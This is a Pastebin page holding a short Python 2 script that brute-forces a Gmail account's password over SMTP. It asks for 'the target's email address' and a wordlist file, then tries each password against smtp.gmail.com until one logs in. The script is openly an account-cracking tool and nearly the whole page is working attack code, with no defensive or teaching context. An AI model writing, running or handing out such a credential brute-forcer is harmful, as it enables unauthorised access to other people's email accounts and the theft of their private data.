Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import smtplib
- smtpserver = smtplib.SMTP("smtp.gmail.com", 587)
- smtpserver.ehlo()
- smtpserver.starttls()
- user = raw_input("Enter the target's email address: ")
- passwfile = raw_input("Enter the password file name: ")
- passwfile = open(passwfile, "r")
- for password in passwfile:
- try:
- smtpserver.login(user, password)
- print "[+] Password Found: %s" % password
- break;
- except smtplib.SMTPAuthenticationError:
- print "[!] Password Incorrect: %s" % password
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement